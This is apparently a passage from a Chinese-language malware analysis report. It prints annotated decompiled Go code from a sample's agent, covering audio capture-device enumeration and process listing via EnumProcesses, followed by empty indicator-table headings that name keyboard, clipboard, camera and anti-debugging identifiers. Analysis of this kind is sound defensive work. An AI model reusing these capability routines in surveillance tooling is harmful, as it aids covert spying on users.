// 函数: audio.ProbeCapabilities（VA 0x1403652a0）
// 作用: 初始化 miniaudio 上下文并枚举捕获设备。
// 说明: 反编译原始输出，保留初始化与枚举分支。
void overlord_client_cmd_agent_audio_ProbeCapabilities(void)
{
  // voice_native_cgo.go:86 — 初始化 miniaudio 上下文
  github_com_gen2brain_malgo_InitContext(...);
  // voice_native_cgo.go:87 — 初始化成功（返回 0）时进入设备枚举分支
  if (init_result == 0) {
    // voice_native_cgo.go:95 — 注册 defer 清理上下文
    local_20[0] = ProbeCapabilities_deferwrap1;
    local_10 = local_20;
    // voice_native_cgo.go:100 — 预置默认设备名 "default"、"system"
    array[0] = "default"; array[1] = "system";
    local_60 = 2;
    // voice_native_cgo.go:104 — 枚举实际捕获设备
    overlord_client_cmd_agent_audio_listCaptureDeviceNames(context);
    while (0 < device_count) {
      // voice_native_cgo.go:105 — 拼接 device:<name> 加入列表
      runtime_concatstring2(0,"device:",7,device_name,device_name_len);
      // ... 追加到设备列表 ...
    }
    // voice_native_cgo.go:107 — 返回前执行 defer 释放上下文
    (**local_10)();
    return;
  }
  // voice_native_cgo.go:88-92 — 初始化失败时回退为仅 default
  runtime_newobject(&datatype_Array__1_string);
  array[0] = "default";
  return;
}

// 程序: a2b5e25c_binary.exe
// 函数: handlers.listProcesses（VA 0x1403af680）
// 作用: 使用 EnumProcesses 获取进程 ID 列表并构造进程信息结构。
// 说明: 反编译原始输出，保留初始化与调用分支。
void overlord_client_cmd_agent_handlers_listProcesses(void)
{
  // processes_windows.go:57 — 获取当前进程 ID 与 CPU 数量
  syscall_getCurrentProcessId();
  cpu_count = runtime_numCPUStartup;
  // processes_windows.go:62-68 — 分配 4096 个 uint32 的 PID 缓冲区
  runtime_newobject(&datatype_Array__4096_uint32);
  pid_buf = extraout_RAX;
  runtime_newobject(&datatype_Uint32_uint32);
  returned_count = extraout_RAX_00;
  // 构造 LazyProc 调用参数：缓冲区指针、大小、返回字节数
  arg_obj[0] = pid_buf;
  arg_obj[1] = 0x4000;          // 缓冲区大小（字节）
  arg_obj[2] = returned_count;  // 实际返回字节数
  // processes_windows.go:65 — 调用动态解析的 EnumProcesses
  golang_org_x_sys_windows___LazyProc__Call
            (overlord_client_cmd_agent_handlers_procEnumProcesses,arg_obj,3,3);
  // processes_windows.go:71 — 调用成功时遍历 PID 数组
  if (call_result == 0) {
    process_count = *returned_count >> 2;
    runtime_makeslice(&datatype_Struct_wire_ProcessInfo,0,process_count);
    // ... 遍历 PID，构造 ProcessInfo ...
  }
}

表 A-2：网络相关行为指标

表 A-3：主机指标

表 B-1：主机环境相关标识扩展清单

表 B-2：调试状态检查的样本内标识

表 B-3：键盘与剪贴板扩展标识

表 B-4：摄像头、音频与编码扩展标识